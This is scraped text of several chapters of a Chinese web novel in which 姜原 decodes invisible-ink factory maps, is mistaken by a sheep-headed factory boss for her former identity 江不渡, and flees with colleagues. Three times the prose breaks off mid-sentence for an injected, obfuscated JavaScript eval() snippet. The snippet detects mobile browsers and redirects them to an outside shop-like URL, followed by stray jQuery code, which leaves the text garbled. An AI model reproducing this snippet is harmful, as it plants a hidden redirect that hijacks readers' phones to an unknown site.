如此看了两排,姜原终于在一个文件夹中有所收获,“这里有几张图纸,似乎是某个工区的平面结构图。” “是一个深绿色的文件夹,A4大小。”她给出文件夹特征,“着重找这种文件夹,看里面有没有图纸。” 周光点头。不多时,两人翻出一摞类似的平面结构图。 姜原快速看了几张图纸,很快发现问题,“这些图纸有问题。” 她在其中找到了疑似水产区的平面结构图,但除去大致区域轮廓,图中例如大型机器等关键节点的分布和她下午所见的真实情况大相径庭。 并且这些图纸反映出一个共通的问题——信息不全。 不是缺失某部分图纸的问题,而是这些图纸本身指示出杂乱无章的信息,就像一副拼图,找到的所有残块都不符合底座上格子的形状。 “你是不是不舒服?”姜原察觉到周光的异常,立刻想到他今天完成工作时受了伤,“图纸我有思路,你先坐旁边歇会,帮我望风。” “行。”周光坐到一旁能看到门口的位置上,“辛苦你了。” 他不知道自己怎么了,感受着口袋里小萝卜浑圆的轮廓,他感觉浑身有蚂蚁在爬。 但他不能说出来,或者说他根本不想说出来。 “如果说出来的话,姜原一定会把小萝卜抢走吧?” “对,绝对不能告诉她。” 周光在心里默默和自己的意志搏斗。 姜原把找到的所有图纸摊开在桌面上,尝试代入几种可能思路,都在不同阶段无法再解释下去。 思路受阻之际,她忽然发现有几张纸的背面有凸起的线条,但是正面看凸起位置却空无一物。 这是书写过的划痕,在轻薄的纸背留下凸起的印记。而正面看不到字迹,说明使用了特殊的墨水,常规情况下不可视。 眼下没有紫外灯之类的特殊照明设备,姜原只能凭直觉赌一把这是用最基础的荧光隐形墨水画上去的。 她关掉房间的灯,再去看图纸,有划痕的几张图纸上显出一条颜色极淡的曲线。 她赌对了,这些线只要在黑暗中就可以辨认。 总共八张图纸有类似线条,仔细观察线条,它的走势方向,它在图上连接起来的节点,姜原发现它们的共同点: 由答案反推问题,每张图纸都是一道经典的运筹学路径规划题目,图中用隐形墨水标出的路线正是从厂区入口到出口的最短路径。 只看一眼,她便把图中复杂的线条和节点烙印在脑中。 数据和图像在脑海中极速翻涌,提取特征,目标函数,规划求解,复杂的运算步骤在姜原脑中一气呵成。这是经过无数次锤炼而出的本能,连失忆也无法抹除。 姜原在心中快速筛选八张图纸最短路径所呈现出的信息,大部分特征都无法相互关联,唯有一项基础特征可以构成序列:每张图的最短路径所经过的节点数量,最小数字为1,最大数字为11。 这一序列最合理的解释方式就是时钟方位,刚才她和周光只找到8张这样的图纸,可能还有类似的图纸他们没有找到。如果一共有12张图纸的话,刚好能够一一对应。 眼下有八张图纸,姜原按照对应的数字,把图纸摆放在正确方位。 虽然还缺少几张,但摆放完成后,只消一眼,便能看出问题所在: 所有工区的入口与出口巧妙衔接起来,构成一个有缺损的圆形。图纸上隐形的线像司南的指针,身处不同方位却指出唯一的方向。 姜原目光顺着那个方向移动,最终聚焦在办公室书桌一角—— 那里放着一盆低矮的向日葵,在暗夜中无声绽放。 地图是一盆向日葵?! 难道是靠向日葵随太阳方向转动的特性来指示方向,还是她解读图纸的思路有误? “你过来看,我应该找到正确解法了。”姜原想叫周光过来看看。 她埋头检查图纸,话说完过去漫长的几秒,周光依然没有过来。 “周光,你在干什么。”她有些生气,“我理解你状态不好,请稍微配合一下我——” 话没说完,她抬起头,看到周光全貌时,不禁愣神。 只见周光正埋着头,双手捧着什么东西,低头大口啃咬,几乎要把那东西直接塞进嘴里。 姜原打开灯,看清他手中拿着的正是刚才发光农田中种植的小萝卜,灯光映出他脸上不自然的红晕,眼中满是痴迷,啃得满嘴鲜血也不肯停下动作。 “!”姜原意识到大事不妙,那片农田的泥土有问题,连带着作物也受到污染。 姜原的第一反应是检查自己的神志是否正常。她和周光共同经过那片菜地,周光在那时便被蛊惑,才会偷偷摘下一根萝卜。她也难保没有受到影响。 她在大脑中梳理自己进入黄金乡副本后又被抓进怪物工厂的全过程,能够清晰记起自己此行的目的,应该没疯。 疯不疯得无所谓,姜原先把书桌上那盆向日葵抱在怀中,谨慎地观察周光。 周光丝毫不觉,鲜血伴随着啃食的动作滴落,他从始至终没有抬头。 但同一个方向,另一道阴狠古怪的目光如跗骨之蛆盯上姜原,她觉得如芒在背。 姜原顺着目光来源看去,只见萝卜浑圆的表面上挤出人形的五官,朝姜原眯起眼睛,“被你发现了。” 这颗萝卜会说话,很可能是和巨型蝠鲼类似的怪物,工厂的造物。 她站在原地不动,和周光保持着距离,一只手悄悄伸向后腰,那里藏着手术钳。 见她不动,萝卜嘿嘿笑了两声,芝麻粒大小的眼珠滴溜溜在眼眶里转动,随后惊声尖叫,房间内竟一呼百应! “他咬了我!”萝卜尖叫。 “他咬了我!”书架上各种五颜六色的书尖叫。 “他咬了我!”周光也跟着尖叫。 萝卜的叫声像狼烟传讯的第一道烽火,一棒传一棒,转眼警报似的尖叫充斥了整个房间。怪物们似乎习惯于靠尖叫来示警,可能它们的叫声中有部分人类无法听到的声波,白天的巨型蝠鲼就是靠尖叫招来章鱼人。 不能坐以待毙,姜原心头警铃大作。时间紧迫,很快会有人来厂长办公室查看。 她快步上前,狠狠扬起手臂,手腕没收力,一巴掌扇在周光脸上! 咬碎的萝卜残渣混着血沫从嘴里飞出,光洁的门牙立刻豁出漆黑的洞口,周光一松手,小萝卜径直掉在地上。 他愣神片刻,浑身一机灵,瞬间清醒过来,“怎么了!?” “还怎么了,惹大麻烦了。”眼下不是说话的时候,姜原把周光从椅子上拽起,“快跑。” 两人拔腿就跑,穿过领导办公区明亮的走廊,却见黑暗的工 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17227376|196754||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 区陆续亮起明灯,可供他们藏身的黑暗被逐个吞没,暴露的危险一寸寸逼近。 凭【员工】的听力,姜原和周光都听到不远处有人马正朝他们所在方位赶来,两人看向对方。 眼前有两个方向,一片是来时的农产品工区,开阔的菜地失去黑暗庇护后,根本藏不住人。 另一边远离关押他们的仓库,但是有不少不明用途的大型设备,总能找到犄角旮旯躲藏片刻。 但也只是片刻而已。如果两人都去一边躲藏,工厂的人没找到触发警报的小贼一定会扩大搜索范围,被发现只是时间问题。 两人必须分开走,追寻者不知道有小毛贼的数量有两个,他们至少可以保证一个人逃回仓库。 “走。”姜原把周光推向大型仪器的方向,不等他反应,自己转身朝农产品工区跑去。 随着灯光亮起,可供躲藏的黑暗越来越少。姜原脚下步履如飞,心中攀升起异样的心思。 生死攸关之际,和上次在“四季城堡”副本推开叶安娜一样,这次她推开了周光。 明明只是不太熟的同事,甚至周光和她隶属于不同的部门,而叶安娜对她连基本的礼貌都没有。 她只是不想看着眼前的人一个个消散在风里,不能接受自己怀有拯救他人的能力却无动于衷,其实哪怕事实是她连自身都难保。 不安和悔恨的感觉笼罩在心头,似乎她曾经失去很多珍贵的东西,以至于拼尽全力想留住眼前的人和物已经成为她的本能。 成为副本支配者一年有余,玩家在游戏中的失败铸就她四级【员工】的功勋。 那些在副本中死去的玩家会面临什么结局?如果游戏失败的归宿是死亡,那姜原的双手早已沾满鲜血。 可这样的她怎可能甘愿在杀人的游戏副本里为虎作伥,每日庸庸碌碌抱领导大腿,在副本里混吃等死?! 她究竟缘何成为副本支配者? 姜原失去的记忆太多,这其中一定藏着她成为【员工】的理由。 思绪翻飞间,杂乱的脚步声从四面八方传来,离她越来越近。 捉捕她的包围圈已经形成,姜原握紧手术钳,冰冷的寒芒在袖口处闪烁。 刚才逃窜的过程中,她已经把那盆向日葵塞进一丛茂密的作物中间,锯齿形的叶片把明黄色的花瓣层层掩埋。 希望周光他们能早于怪物工厂的人找到这盆花。 灯光亮起,姜原躲藏的最后黑暗被驱散。 她的身形出现在追寻者眼前,追寻者也映入她眼中。 四周围着一圈兽首人身的怪物,它们各自顶着不同纲目的脑袋,畸形的头颅低垂,身形影影倬倬。它们不说话,也不往前,只用形状各异的眼睛盯着姜原。 沉默,死寂的沉默,人与怪物间维持着一种诡异的平衡。 腰腹肌肉紧绷,额间渗出微量冷汗,姜原做好准备,随时可以暴起搏命一击。 怪物群中走出一个矮小的身影,率先打破平衡。 走出的怪物长着一颗盘羊的头,硕大的羊角卷曲,像两只巨型冲锋号角,和它矮小瘦削的躯干格格不入。 羊头人所到之处周围高大的怪物都纷纷给他让路,矮小的它带着上位者的气势,把泥泞的菜地走出红地毯的感觉。 眼见羊头人越走越近,按照他的步频,还有零点几秒它会步入姜原的可行攻击范围。 姜原目光一凛,却见羊头人忽然愣在原地,短短几秒时间羊脸上的表情精彩纷呈,从不可置信到如临大敌再到一脸谄媚。 它三步并作两步低身走到她面前,讨好地捧起她的右手,两只长着羊毛的手热情地握住,上下不停摇晃, “江老大,您怎么回来了!”羊头人低头哈腰,激动的热泪盈满长毛的眼眶,“您大驾光临,小厂有失远迎啊。” 姜原一顿。 姜老大? 不对,它说的是江老大。 结合人鱼说自己曾大闹怪物工厂,一个猜测浮上姜原心头—— 这个羊头人,不知道她失忆后的事,把她当成江不渡了。 看羊头人御使其它怪物的派头,在怪物工厂肯定是个叫得上名号的人物,见到她谄媚得像条狗腿。 姜原哭笑不得,她曾经代号江不渡的时候,到底是什么恶霸级的人物?! 21. 永眠的黄金乡6 既然羊头人没有发现姜原失去了江不渡的记忆,也没有江不渡那样强大的能力,姜原决定好好利用江不渡这个身份,不辜负她闯下的赫赫“威名”。 “嗯,来找点东西。”姜原含混其词,想看羊头人会主动说什么。 “找东西?”羊头人略一偏头,眼睛眯成两条危险的缝隙,“你......不是那位吧?” 怀疑?还是试探? 姜原不想揣摩一个怪物的心思。如果江不渡真的是人类时期的她,那么遵从本心就是正确选择。 用别人的猜忌来刁难自己,这才是落入对方的陷阱。 她握掌成拳,发挥她引以为傲的力量属性,迎面一拳打中羊头人凸嘴圆眼的羊脸。 “我是谁和你有什么关系。”她用衣角擦去手上的灰尘,语气轻蔑冰冷。 这一拳带着劲风,直击羊头人面门。 羊头人瞬间只觉天旋地转,大脑充血,耳朵嗡嗡响,半晌才站稳身体。 怪物的身体应该经过特殊的强化,盘羊的头坚如磐石,它还能完好站在原地。换成普通生物,可能鼻梁骨都要开裂。 “哎呦,看我这厂长当的不称职,怪我眼拙。”羊头人从晕眩中缓过来,立刻搓着长毛的双手,笑呵呵道。 果然,羊头人在试探她。 姜原没见过江不渡,也早已忘却自己人类时期的模样。 从江不渡到姜原,必然有不可逆转的变化发生在她身上。她与江不渡的不同引起羊头人的注意。 但无论叫什么名字,长什么模样,她的行事风格从未改变。一拳包治百病,这是江不渡的风格;打倒一切心怀不轨的纸老虎,这是姜原的行事准则。 “您上次带走的那只怪物,可是我们厂最优秀的造物了。小厂实在不知还有什么东西能让您瞧上。”羊头人讪讪地笑着。 江不渡这个祸害,当时也不知她从何得知怪物工厂的副本坐标,带着几个同样具有【资格】的高级玩家闯进怪物工厂,扰乱生产秩序不说,还带走了它们最昂贵、能力极为特殊的一只怪物。 工厂组织怪物安保防御,还放出了囚禁在仓库中难见天日的几只高危攻击型怪物。 不料这群玩家全都身怀高等级【非凡能力】,工厂输的溃不成军,怪物都被江不渡几个玩家击败。 迫不得已,羊头人只得打扰自己顶头上司,向管理局求援。 结果一群玩家像打家劫舍的马贼,来时天雷滚滚去时尘土飞扬,管理局的援军未到,他们已然消失得无影无踪。 临走时江不渡还大赞它的羊角威猛有力,说她之后还会再来,希望到时它还能像今天一样热情款待。 这是夸赞它的容貌吗?这是精神上的歧视,赤裸裸的羞辱! “这个邪恶的女人。”念及此处,羊头人只用来吃草的牙恨不能将她生吞活剥。 “我随便看看。”姜原假装听不懂羊头人的婉拒,略一沉吟,“就想各个工区都看看。” “距离上次来有挺长一段时间了,好多区域都忘记了,还想看看新的没去过的区域。” 开玩笑,上次怪物工厂全力抵抗还付出如此惨痛的代价,哪里敢放任她独自在所有工区转悠? 羊头人感觉额头冷汗直流。它抬起手擦拭额头,摸到一手白色的细密绒毛。 “大姐,要不让我带您参观工厂?”它连忙阻止,“您看,我是怪物工厂的厂长,对怪物型号和用途都比较了解,多少能给您介绍一下。” “行。”姜原想借机跟厂长套点消息,羊头人毛遂自荐要做导游正中她的下怀。 “好,太好了,今天时间不早,您深夜到访,那我先让人安排您休息?”羊头人脸上挂着谄媚的笑,心中似有一块大石头落地。 “嗯。”姜原答应。 “阿章,快去安排房间。”羊头人吩咐手下。 一个人身章鱼脚的怪物从怪物堆里走出。姜原一看,正是白天在水产区听到巨型蝠鲼召唤后来抓自己的那个章鱼人。 章鱼人,名叫阿章。 阿章附在羊头人耳畔,低声说了几句。 “什么,没有多余的房间?”羊头人不耐烦地挥手,“那就从工人房间里挑一个环境好的,这种小事还要问我。” 章鱼人顺从地领命而去。不多时,它八只脚交错蠕动到姜原面前,带她去房间。 姜原目光瞥向一旁藏着向日葵的草丛,她吸引了追兵的目光,周光可以躲藏一会,等人群散去再偷偷回到仓库。 想到仓库,姜原觉得可以借机把噩梦厂被困的几个【员工】捞出来。 她转头朝羊头人说:“对了,明天把你们仓库里的那些东西也放出来看看。” 羊头人不知姜原打的什么算盘,怀疑她看上了仓库里哪只珍贵的怪物。 这个女人,吃着碗里的看着锅里的,抢一次不够,还敢主动索取,完全没把它这个厂长放在眼里! 若非它们怪物工厂有不能大张旗鼓暴露坐标的原由,岂能容忍区区几个玩家在此放肆? 看着姜原渐渐远去的身影,羊头人收起脸上的笑容,目光尽显阴狠厉。 它招招手,立刻有手下凑到它身边。 “去,用我们的秘密联络渠道,通知副本物资后勤处处长,那个女人又来了。”羊头人暗暗握紧拳头,“邪恶的玩家,这次你插翅难逃。” * 阿章带着姜原七扭八拐,来到工人们的住宿区。 眼前是密集的房间,穿过走廊,她看到很多斑驳掉漆的门上贴着各式各样的搞笑贴纸,像大学寝室的门,在廉价的房屋肆意挥洒珍贵的青春。 “这是你们这些工人住宿的地方吗?”姜原记得周光说过仓库里的都是初级工人,不知道什么工人能住在这里。 阿章没有回答,只沉默地在前面带路,半晌才闷闷道:“厂长不让我跟你说话。” 姜原记得白天躲避它追捕时的凶险境遇。 它寻找自己时,凶神恶煞,压迫感十足。现在被厂长吩咐照顾自己这个空降的“贵宾”,像一头被摁着头强迫喝水的牛,一身倔脾气却挣不过大手的力量,只能用沉默反击。 一人一怪走到最里面的房间门口,阿章打开房门,“就是这里。” 姜原走进房间。房间内设施有些陈旧,但看得出原住民很爱惜它的小窝。房间不大,上床下桌设计,地板清洁得干干净净,满是划痕的木桌上铺了半透明的碎花桌布,窗台上还用塑料瓶养了几朵小野花。 “这原本是谁的房间?”先前厂长让阿章去腾一间屋子,姜原随口问道。 无人应答。 阿章沉默地离去,临走还带上了门。 姜原拉开桌前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239325|196754||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的椅子坐下,才发觉手术钳一直被她藏在袖中,冰冷的银白色握环还能看到水渍,不觉间掌心全是冷汗。 从决定独自面对追捕开始,她神经保持高度紧绷,肾上腺素疯狂分泌,随时准备以命相搏。 眼下暂时安全,姜原放松身体,让自己瘫坐在椅子上,双手垂下,脑中梳理后续的逃离计划。 忽然,她的手在椅子下面摸到一样东西,方形,硬质的,表面比较光滑,紧紧吸附在椅子下面。 她蹲下来,发现是一个笔记本,用胶水贴在椅子下表面。 姜原轻轻把笔记本扯下来。本子的表皮坑坑洼洼,全都是胶水撕扯后留下的印记,看得出笔记本使用频率很高,主人常年用胶水把它藏在椅子下面。 这间宿舍的主人大概率是和阿章差不多的怪物员工,它的笔记本里会写着怪物工厂的密辛吗? 姜原翻开本子的第一页,是一篇日记。 某某年某某月,星期一,天气:黄金乡永远晴朗。 我写日记被别的怪物工人发现了,它们哄抢我的日记本,争相嘲笑我连日期都算不对,日记里写的全是某某年某某月。 我说我们从未离开怪物工厂,那这时间有何意义,我们只需记录星期几就足够,因为这关乎我们的排班。 听完我的话,它们嘻嘻哈哈笑成一团。 我不明白这有什么好笑,可能我的脑子确实有问题。 某某年某某月,星期一,天气:只能看到工厂的天花板。 我的脑子当然有问题,上次我还没有意识到。 别的怪物工人只融合了怪物的部分器官,像章鱼触手、鳄鱼长吻之类,只有我的头颅被替换成整只章鱼,连大脑也是章鱼的。 今天领导来水产区视察,阿章养死了四条鱼,但是它只说两条。我养的鱼死了五条,我就报了五。 领导批评了我,表扬了另一个全养活的同事。 事后有人说我笨。我仔细想了一下错在哪里,发现完全想不出来。 我只是实话实说而已。 某某年某某月,星期五,天气:水产区坏了一只灯泡。 同为怪物工人,它们都得到了重用,只有我还在干一些杂活。 它们说我应该努力提升自己,奉献自己的一切,争取为厂长创造更多价值;还说如果你连这点小事都接受不了,那你也干不成什么大事,这辈子就这样了。 可我没有那么大的理想,只想每天下工后回到我干净的小窝,吃点小鱼干,给小花换换水。 我知道自己不聪明,我喜欢从墙缝里钻进来的小野花,喜欢水产区带着咸味的凉风,喜欢钻在被窝里幻想自己躺在星空下。 我喜欢我的章鱼脑子,我也爱着有一颗章鱼脑子的自己。 姜原又往后翻了几页,发现全都是类似的日记,字迹潦草,很多地方被水洇湿,墨迹晕染,纸张泡得皱皱巴巴。 日记中频繁提到“章鱼脑子”,这让她想起一只见过的怪物—— 下午她总共在水产区见过两只章鱼人,一个是下半身是章鱼触手的阿章,另一个则给自己安排了喂鱼任务,它的脑袋是一整个章鱼。 想起章鱼,姜原忽然觉得头皮阵阵发麻,潮湿粘腻的气息如影随形。 她抬头,一只巨大而浑浊的暗黄色眼睛,正紧紧贴着玻璃窗看她。 22. 永眠的黄金乡7 姜原按兵不动,和窗外那只诡异的眼睛对视。 最终窗外先忍不住,昏黄的眼珠轻微眨动,朝后面退去,露出章鱼完整的身体。 不,不是章鱼,而是一颗长在人躯体上、充当脑袋位置的章鱼头。 姜原认出这只怪物,它就是下午给自己安排工作任务的水产区工人。 结合所看日记的内容,姜原不禁猜测,难道这里是这只章鱼人的房间? 章鱼人在窗外探头探脑,像是不敢进来又不愿离去。 见状,姜原朝它招招手,打开窗户,示意它进来。 章鱼人身手敏捷,翻身一跃进了屋子。明明是它的房间,它却局促不安地无处下脚,好像它才是外人。 这是和怪物工厂的工人交流的好机会。姜原拍拍椅子,示意它坐下,她则坐到桌子上。 怪物工人身形高大,堪堪坐下半个屁股,两人目光刚好平视。 这是平等交流的良好开端。 “你平时住在这里吗,你叫什么名字?”姜原尽量让自己的语气平和。 章鱼人点头,脖颈处触手也跟着上下摆动:“我叫zy077号。” zy是什么,章鱼的缩写吗? 如果是,那像它和阿章这样的章鱼怪物工人可能是批量培养的。 只有一个编号,甚至不配拥有名字,077号目前在工厂的地位显然比不上另一个章鱼人阿章。 姜原还想再客套两句,却见077号澄黄的大眼睛目不转睛地盯着自己手里的东西,目光中饱含不加掩饰的渴望。 “你......想要这个本子吗?”姜原举起手,她手中还拿着先前从椅子下发现的日记本。 077号以为她同意了,伸手准备拿走本子。 “先回答我一个问题。”姜原不给,把本子藏到背后,“你愿意离开怪物工厂吗?” “嗯?”章鱼人从嗓子里蛄蛹出含混不清的音调,带着疑问的尾声,“你为什么这么问?” “出去好啊,出去好,077号想出去。”它说话的时候,脖颈上短短的触手互相拍打,好像在鼓掌。 姜原感觉它像有智力缺陷的人类,心中暗暗摇头,她为何要问一个傻子该何去何从,它可能根本无法理解自己所处的境地。 “我知道外面的天是蓝色的,沙漠里的风没有咸味。”077号继续说,含混不清的声音里能听出几分扭捏,“阿章它们说要好好在工厂干一辈子,我不想这样。” “我想出去看看。” 姜原心中再次暗暗摇头,这次却是嘲笑她自己,有一副健全聪明的头脑,却怀揣傲慢自大的心。 “你不笨,其实你很聪明。”姜原说。 “我的脑子确实不太好使。”077号憨厚一笑,触手摸向它黏腻的后脑勺,“阿章告诉我你是从外面来的大人物,叫我把房间腾出来。” “如果你还要回外面去的话,能不能跟厂长说带上我?” 姜原看着077号,它有像野兽一样的眼瞳,目光却格外清澈真诚。 她伸出手,和077号的触手碰了下,仿佛一次无声的击掌,“我答应你。” 话音落下的瞬间,姜原耳畔嗡鸣,一道无声的指令出现在她脑海。 【临时任务】:解放怪物工厂。 任务说明:黄金乡的瑰宝可不止黄金,怪物工厂究竟为何而来?和怪物定下契约,不如就此抛弃人类的身份,与怪物沆瀣一气,推翻这座充满剥削和压迫的黑心工厂吧! 任务要求:逃离怪物工厂,并带着怪物们一起。逃离的怪物越多,任务进度越高。 任务进度:0%。 这种接收提示的方式和【员工】个人终端一模一样,她打开个人终端,果然在技能【摆渡】下方,出现一条任务提示,和她脑中接收到的一致。 这似乎再次佐证她关于脑中肿瘤的猜想。 “我占了你的房间,今晚你有地方去吗?”看得出来077号很珍惜它的小窝,姜原鸠占鹊巢有些于心不忍,“今晚你可以留在这里,但是明早你必须早点,去帮我办件事。” 明天上午怪物工厂的厂长、那个不怀好意的羊头人会带她参观工厂,不能让人发现她和077号有接触。 077号章鱼人听到姜原不赶它走,立刻点头答应,触手开心地来回摆动。 章鱼靠体内的平衡囊产生听觉,姜原凑到077号身旁,压低声音:“很简单的事,你明早去仓库集中运送低级工人的地方,帮我找个人。” 077号懵懂地点头。 * 第二日,姜原跟羊头人参观怪物工厂。 “我们工厂配备了极为先进的设备,能实现从怪物生产制造到包装出售的全流程闭环,左手边这台抛光机能为鳞甲类副本怪物打磨造型,正前方这台大型搅拌机可以合成制造土系巨人所需的黏土原料......” 羊头人跟在姜原身后,兴致勃勃给她介绍工厂的高级设备,仿佛一个接待领导视察的专业干部。 姜原看到形状各异的怪物工人在面板前操控这些机器,听着不明用途的设备轰鸣,随口一问:“你们工厂是什么工作制啊,三班制还是三班两倒?” “啊?”羊头人顿了一下,随后语速快如连珠炮,像是被抓住了把柄,“我们实行‘996’和‘007’啊。” “什么‘996’,什么‘007’?”姜原怀疑自己听错了,这是怪物工厂,又不是人类世界。 “您就别考验我了。”羊头人赔笑,“您当年莅临我厂,问过相同的问题,我说是四班三运转,四组工人倒三个班次,您听完后是这样和另一位男性玩家说的。” “真是太人性化了,不像我们的某些企业,可是会把‘996’和‘007’称作福报的啊。”它细声细气,模仿女性的嗓音。 “我们可是怪物工厂,人性太重是我们工作的过失!”说到这里,羊头人挤出一个痛心疾首的表情,“我厂痛定思痛,觉得您所言一定是无比先进的工作制度,遂进行调查。” “从此以后工作时间改为早上九点到晚上9点,怪物工人6班倒,平均每人每天工作2小时;每天早上12点和晚上12点提供两次餐食,中间7个时段补充零食茶歇,最近主要是水产区制备的小鱼干。” 它拍拍胸脯:“您和您的伙伴说过的话,我厂都牢牢记在心上,全部落实到位。” 姜原心中五味杂陈,她没想到江不渡当初还说过这种话,更没想到怪物厂长会如此解读“996”和“007”。 曾有外星人入侵地球,试图奴役人类,要求人类每天干活8小时,一天只提供三顿饭外加一次下午茶。不曾想人类听后感激涕零,邪恶的外星人从始至终没想明白它为何得到全人类的拥护。 现在回看这个故事,姜原不禁感慨“人性化”这个词看似光鲜亮丽,实则是个不折不扣的贬义词,连怪物都会曲解它的含义。 这样好的工作制度,若非姜原不属于这里,她都有些心动。 对于这里的怪物工人,外面风雨飘摇,抑或风平浪静,无论何种情形,躲在屋檐下,不听、不看、不想,只此安身立命,不求探索真理,也是幸福安逸的一生。 这样的怪物工厂,需要她来“解放”吗? 一众人和怪物前拥后簇,走马观花路过形形色色的工区。越往前走周围工作的怪物工人越少,一直到道路尽头,姜原主动停下脚步。 道路尽头是一个巨大的矿坑,四角各停一台大型开采设备,正在源源不绝挖掘矿坑中的沙土,运送到一旁过筛的机器。 这一次不等羊头人介绍,姜原主动停下脚步。 在那些挖掘出的沙土里,她看见一抹闪烁的青绿色光芒—— 那种混在农作物区泥土中、被碾碎呈颗粒的矿物。 结合昨晚周光突如其来的异常表现,如果地里产出的农作物有问题,大概率和混在地里的这种矿物成分脱不了干系。 再定睛看那些机器。 那些机器在颤动,表面不规律地起伏,伴随轻微的带着奇异音调的声响,像小动物的轻哼。 不,那根本不是机器,那是活生生的怪物。 它们庞大的躯体呆滞在原地,灰扑扑的身躯像小山般沉默,于是源源不断咽下砂砾尘土,排出辉光熠熠的矿石。 终其一生不得见天空大海的怪物; 生来便注定去死、连杀戮的价值都被人否定的关在仓库里的怪物; 沉默的、不知疲倦、不会喊痛、甚至习以为常以至于忘记什么叫“痛苦”的怪物,盛大地燃烧生命,赋能整座工厂最核心的生产线。 它们的血肉铸成这座工厂。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17258693|196754||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “您怎么不走了?”羊头人慢慢踱步到姜原身前,“让您瞧见这些,可不能让您再往外抖落。” “把您领到这来,就没打算再让你走。”它嘿嘿笑着,“今儿个您就留在这吧。” 羊头人展开手心,赫然是一个遥控器。它按下按钮,天花板隆隆作响,无数巨大的铁笼连着锁链从天而降,里面的怪物磨牙吮血,蠢蠢欲动地嘶鸣。 这应该就是那些关在仓库里的“存货”,在仓库里周光反复叮嘱小声就是防止惊动它们。 愤怒的火在姜原胸膛燃烧。 她要毁了怪物工厂。 她比这些怪物更愤怒。 “叮——”个人终端的提示音回荡在脑海。 “检测到愤怒值爆表,激进的情绪是激发潜力的开关。” “让我们的怒火曼延整座怪物工厂吧。” 羊头人一声令下,四周的怪物饿虎扑食般朝姜原袭来。 她站在原地,身侧萦绕着奇异的波动,抬起头,宛如实质的目光看向远处,仿佛将沸腾的兽群穿透! 姜原不清楚,但可以确定她的身体进入一种极微妙的状态。 一瞬之间她好像看清很多事,她曾为了青色矿石来到黄金乡;她站在人鱼培养皿前;她和沈系舟说话,旁边还有好几张熟悉又陌生的面孔。 她感受到自己脑中的异物,像心脏一样迸发有节律的颤动。 她甚至还感受到另一种奇异的电波,这样的电波一定来自另一颗大脑,它的思绪笼罩旷野,于是姜原也得见旷野—— 她看见一座塔,一座白色的、高耸入云的塔。 “这是?!”姜原心中讶异。 嘶吼声把她纷飞的思绪拉回眼前,怪物咆哮而至,汹涌的兽潮即将把她淹没。 姜原微微眨动眼睛,精神从脑电波的共感中脱离。 身体还留存在奇异的状态中,轻飘飘如入云端,仿佛只要她想,整个世界都触手可及。 一头狮子般的野兽型怪物张开血盆大口,想一口咬下姜原的头。 腥臭的粘液从怪物口腔滴落,她抬起手,触碰到怪物灼热的躯体。 不等姜原做出反应,眼前骤然明朗,挡住姜原视线的狮子怪倒地,暗色的血四溅。 周围其他怪物停住,它们智商不低,突生变故还知道谨慎观望情况。 面前站着两个熟人,是同样被绑进怪物工厂的【员工】同事,杜莘子和周光。 姜原拜托077号章鱼人去给周光带信,没想到运气不错,不知是谁找到谁,周光和杜莘子竟在一处。 杜莘子放下手中的火铳,她用这个将狮子怪一击毙命。 “嘿,傻大个,明知出了事,你以为我们会空手进副本吗?”她吹去枪口飘逸的硝烟,动作像拔枪速射后的西部牛仔,“我们可是有备而来。” 姜原看向她手中的火铳。这定然是一件【道具】,凭杀伤力初步判定为三级左右,应该是副本BUG后噩梦厂特批给她们团队使用的。 “别废话,快走。”火铳从怪物群中撕开一道裂缝,周光招手,三人转身便逃。 凭借【员工】强悍的身体素质,转瞬间三人已和怪物拉开一段身位。 “愣着干嘛,追啊!”身后传来羊头人的咆哮。 身后兽群杂乱的脚步声如影随形,像死神的镰刀逐渐逼近三人咽喉。危急时刻,岔路口前,周光和杜莘子目光对视。 杜莘子脱下身上的外套,用力朝一条岔口扔去,随后转身朝反方向跑。 外套应该藏了某种吸引怪物的特殊物质。奔腾的怪物蜂拥而至,被外套吸引,朝那个岔路拐去。 杜莘子和周光显然提前踩过点。三人七绕八拐,进了一间隐秘的暗室,可以暂时藏身片刻。 “幸亏我藏了点怪物饲料。”杜莘子冷笑,“哪里是什么怪物,像群没吃过饱饭的小狗。” “莘子告诉我海老大也进来了,但我只见到。”周光说,“为今之计咱们只能跑一个算一个,先出去再想办法捞剩下的人。” 他怀中抱着那盆向日葵:“我们研究出这盆花的用法,确实是通过花开放的朝向指明工厂出口,和你的猜想一样。” “工区分布在动态变化,只有这盆花能找到路。”周光抱着花,主动走到前面带路,“这里不宜久留,我们一鼓作气逃出去。”